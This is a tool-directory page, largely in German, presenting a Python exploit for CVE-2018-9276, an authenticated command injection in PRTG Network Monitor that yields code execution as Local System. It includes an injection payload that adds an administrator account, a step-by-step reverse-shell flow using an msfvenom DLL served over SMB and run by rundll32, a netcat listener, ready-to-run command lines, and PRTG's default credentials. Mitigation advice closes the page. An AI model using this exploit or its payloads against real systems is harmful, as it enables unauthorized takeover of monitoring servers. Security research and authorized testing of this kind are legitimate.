Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-9276 — CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only. | Kitploit
Tools/GitHubGitHub/bardlaudian/cve-2018-9276
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHubbardlaudian/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-9276 – PRTG Network Monitor < 18.2.39 authentifizierte RCE

Python CVE Platform

⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unbefugte Nutzung ist illegal.


Inhaltsverzeichnis

  • Übersicht
  • Schwachstellendetails
  • Funktionsweise
  • Anforderungen
  • Installation
  • Verwendung
  • Beispiele
  • Gegenmaßnahmen
  • Referenzen

Übersicht

PRTG Network Monitor ist ein Netzwerküberwachungstool, das von der Paessler AG entwickelt wurde. Versionen vor 18.2.39 sind anfällig für eine authentifizierte Befehlseinschleusung über die Benachrichtigungsfunktion, die es einem Angreifer mit gültigen Anmeldedaten ermöglicht, Remote-Code-Ausführung (RCE) als Local System (das Standarddienstkonto für PRTG-Installationen) zu erreichen.

Diese Schwachstelle wurde während eines Penetrationstests von Josh Berry entdeckt und an die Paessler AG gemeldet, die am 20. April 2018 einen Patch veröffentlichte. Sie erhielt die Bezeichnung CVE-2018-9276.


Schwachstellendetails


Funktionsweise

PRTG enthält ein Benachrichtigungssystem, mit dem Administratoren Skripte ausführen können, wenn bestimmte Ereignisse eintreten. Um eine willkürliche Codeausführung zu verhindern, beschränkt PRTG die ausführbaren Skripte auf diejenigen, die sich in einem bestimmten Verzeichnis auf dem Server befinden. Standardmäßig sind nur zwei Demo-Skripte verfügbar:

  • Demo EXE Notification - OutFile.bat
  • Demo EXE Notification - OutFile.ps1

Der Einschleusungspunkt

Das PowerShell-Demo-Skript (OutFile.ps1) übergibt den Wert aus dem Parameter-Feld einer Benachrichtigung direkt ohne jegliche Bereinigung an das Skript. Dadurch ist es möglich, beliebige PowerShell-Befehle einzuschleusen, indem man sie nach einem Semikolon anhängt:

root@kitploit:~
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add

Wenn PRTG die Benachrichtigung ausführt, wird der eingeschleuste Befehl mit Local System-Berechtigungen ausgeführt.

Hinweis: Das Batch-Skript (OutFile.bat) ist nicht anfällig – Paessler scheint die Eingabe zu bereinigen, bevor sie an die Batch-Datei übergeben wird. Die Einschleusung funktioniert nur über das .ps1-Skript.

Exploit-Ablauf

Der Exploit automatisiert die folgenden Schritte:

root@kitploit:~
1. Check server version → confirm target is vulnerable
2. Authenticate → obtain a valid session cookie
3. Stage a file notification → initialise a writable output file on the target
4. Trigger the file notification → execute it via /api/notificationtest.htm
5. Generate a reverse shell DLL → msfvenom (windows/shell_reverse_tcp)
6. Host the DLL → serve it over SMB from the attacker machine
7. Stage a command notification → inject rundll32.exe <UNC_PATH>,0 after the output file
8. Trigger the command notification → execute the DLL on the target
9. Catch the reverse shell → nc -nvlp <LPORT>

Warum rundll32 + SMB?

PRTG erlaubt nur Skripte, die sich in seinem Installationsverzeichnis befinden, als Benachrichtigungen auszuführen, daher können wir nicht einfach eine beliebige Binärdatei hochladen und ausführen. Stattdessen gehen wir wie folgt vor:

  1. Verwenden Sie msfvenom, um eine Windows-Reverse-Shell als .dll-Datei zu generieren.
  2. Hosting Sie diese .dll auf einer SMB-Freigabe auf dem Angreifer-Rechner.
  3. Schleusen Sie einen rundll32.exe \\attacker\share\payload.dll,0-Befehl über den PowerShell-Benachrichtigungsparameter ein.

rundll32.exe kann eine DLL von einem UNC-Pfad laden und ausführen, wodurch die Einschränkung umgangen wird, welche Dateien PRTG direkt ausführen darf.


Anforderungen

  • Python 3.8+
  • msfvenom (Teil des Metasploit-Frameworks)
  • netcat (nc)
  • impacket – nur für den integrierten SMB-Server erforderlich (optional, siehe --no-smb)
root@kitploit:~
pip install impacket

Falls Sie bereits eine Möglichkeit haben, die DLL zu hosten (z. B. impacket-smbserver, Metasploits exploit/multi/handler oder einen anderen SMB-Server), können Sie impacket vollständig mit --no-smb und --shell-location überspringen.


Installation

root@kitploit:~
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt   # only impacket

Verwendung

root@kitploit:~
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
                        [--user USER] [--password PASSWORD] [--https]
                        [--no-smb] [--shell-location SHELL_LOCATION] [-v]

options:
  -i, --host            Target IP or hostname
  -p, --port            Target port (e.g. 80 or 443)
  --lhost               Local IP for the reverse shell callback
  --lport               Local port for the reverse shell callback
  --user                PRTG username (default: prtgadmin)
  --password            PRTG password (default: prtgadmin)
  --https               Use HTTPS (self-signed certificates accepted)
  --no-smb              Skip the built-in SMB server (payload already hosted)
  --shell-location      Override the UNC path to the DLL payload
  -v, --verbose         Enable verbose / debug output

Beispiele

Grundlegende Verwendung (HTTP, Standard-Anmeldedaten)

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444

HTTPS-Ziel mit benutzerdefinierten Anmeldedaten

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 443 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --user admin \
  --password Sup3rS3cr3t \
  --https

Integrierten SMB-Server überspringen (Payload extern gehostet)

root@kitploit:~
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support

# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --no-smb \
  --shell-location '\\10.10.14.5\share\payload.dll'

Gegenmaßnahmen

  • PRTG aktualisieren auf Version 18.2.39 oder höher – dies ist die einzige vollständige Behebung.
  • Standard-Anmeldedaten ändern – die Schwachstelle erfordert eine Authentifizierung; schwache oder Standard-Anmeldedaten (prtgadmin / prtgadmin) senken die Hürde für die Ausnutzung drastisch.
  • Netzwerkzugriff auf die PRTG-Weboberfläche beschränken (Firewall-Regeln, VPN usw.).
  • PRTG-Protokolle überwachen auf unerwartete Ausführungen von Benachrichtigungstests.

Referenzen

  • Ursprüngliche Entdeckung – CodeWatch (Josh Berry)
  • NVD – CVE-2018-9276
  • Paessler AG Patch-Verlauf
  • Original-PoC von wildkindcc
Tool herunterladen
FeldWert
CVECVE-2018-9276
BetroffenPRTG Network Monitor < 18.2.39
TypAuthentifizierte Befehlseinschleusung
BerechtigungenErfordert gültige PRTG-Anmeldedaten
AuswirkungRemote-Code-Ausführung als Local System
CVSS-Score7.2 (Hoch)
PatchPRTG 18.2.39 (veröffentlicht am 20. April 2018)